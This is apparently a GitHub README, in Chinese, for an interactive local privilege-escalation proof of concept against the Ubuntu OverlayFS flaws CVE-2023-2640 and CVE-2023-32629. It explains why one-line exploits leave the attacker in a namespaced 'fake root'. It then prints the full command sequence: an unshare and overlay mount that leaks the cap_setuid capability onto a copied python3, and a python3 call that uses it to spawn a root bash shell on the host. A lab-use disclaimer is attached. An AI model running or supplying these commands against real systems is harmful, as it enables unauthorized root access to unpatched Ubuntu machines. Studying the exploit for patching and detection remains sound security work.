amar-imamovic/CVE-2023-2640-CVE-2023-32629-Interactive-PoC
GitHub: amar-imamovic/CVE-2023-2640-CVE-2023-32629-Interactive-PoC
针对 Ubuntu OverlayFS 双 CVE 漏洞链的交互式本地权限提升 PoC,通过两阶段利用绕过用户命名空间限制,获取真正的宿主机 root shell。
Stars: 0 | Forks: 0
# CVE-2023-2640 & CVE-2023-32629 (GameOverLay) - 真实宿主机 Root 逃逸 PoC
这是一个交互式、多步骤的本地权限提升(LPE)概念验证(PoC),主要针对 Ubuntu Linux 内核 OverlayFS 漏洞(**CVE-2023-2640** / **CVE-2023-32629**)。
与标准的自动化单行命令(将你的交互式 shell 困在受限的**用户命名空间(Fake Root)**中)不同,该方法将利用序列拆分,从而安全地获取一个**真正不受限制的宿主机 root shell**。
## 详解“Fake Root”问题
许多公开的漏洞利用程序使用单一的自动化 shell 序列将设置和执行串联在一起,如下所示:
`unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"`
由于 Python 执行 payload 嵌入在 `unshare` 的双引号内,它会在用户命名空间沙箱**内部**执行。
* **结果:** 你的用户 ID 显示为 `uid=0(root)`,但你的 shell 在底层隔离于宿主机之外。如果你尝试查看宿主机的 root 目录(`cd /root`),将会遇到 `Permission Denied` 错误。
### 解决方案
此 PoC 将该过程拆分为两个截然不同的逻辑阶段:
1. **在沙箱内进行武器化:** 运行 `unshare` 来伪造 root 权限,时间*刚好*足够利用 OverlayFS 的 `ovl_copy_up` 漏洞,从而将高权限的 `setcap cap_setuid+eip` 能力泄漏到本地的 Python 二进制文件文件夹中。
2. **在沙箱外执行:** 命名空间自动关闭。然后,直接从**真实宿主机上下文**中以普通非特权用户的身份执行植入后门的二进制文件。内核读取到泄漏的 flag,允许执行 `os.setuid(0)`,并赋予你真正的宿主机级系统管理权限。
## 漏洞详情
* **CVE-2023-2640**: Ubuntu 内核 OverlayFS 在用户命名空间内对文件能力的限制不当。
* **CVE-2023-32629**: Ubuntu 内核的 `ovl_copy_up_meta_inode_data` 函数存在漏洞,允许在文件迁移期间完全绕过验证检查。
* **受影响的系统**:运行低于 `6.2.0-26-generic` 版本 Linux 内核的 Ubuntu 22.04 LTS。
## 使用说明
### 方法一:自动化脚本(推荐)
1. 将 `exploit.sh` 克隆或下载到目标机器(例如 `/tmp` 目录下)。
2. 赋予其执行权限并运行:
```
chmod +x exploit.sh
./exploit.sh
```
### 方法二:逐行手动交互执行
如果你正处于一个不稳定的 reverse shell 环境中,请完全分开运行这些命令,并在每行输入后按 `Enter` 键:
```
# Clean workspace 环境
cd /tmp && rm -rf l u w m
# 在临时 namespace 沙箱内 forge backdoor
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 在真实 host 上触发执行以夺取真正的 root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```
通过检查当前的用户配置文件,来验证你的真实权限:
```
whoami
cat /root/root.txt
```
## 鸣谢与致谢
此交互式重构中使用的基础漏洞利用机制最初由安全研究员 **Liav Eliyahu** 和 **g1vi** 发现并记录。
## 免责声明
本仓库的创建严格仅用于教育、安全研究和授权的渗透测试目的(例如 HackTheBox / OffSec 实验室)。作者对因这些材料引起的任何滥用、未经授权的访问尝试或基础设施损坏不承担任何责任。请负责任地使用。
标签:Linux内核, OverlayFS, Web报告查看器, 容器逃逸, 应用安全, 本地提权, 逆向工具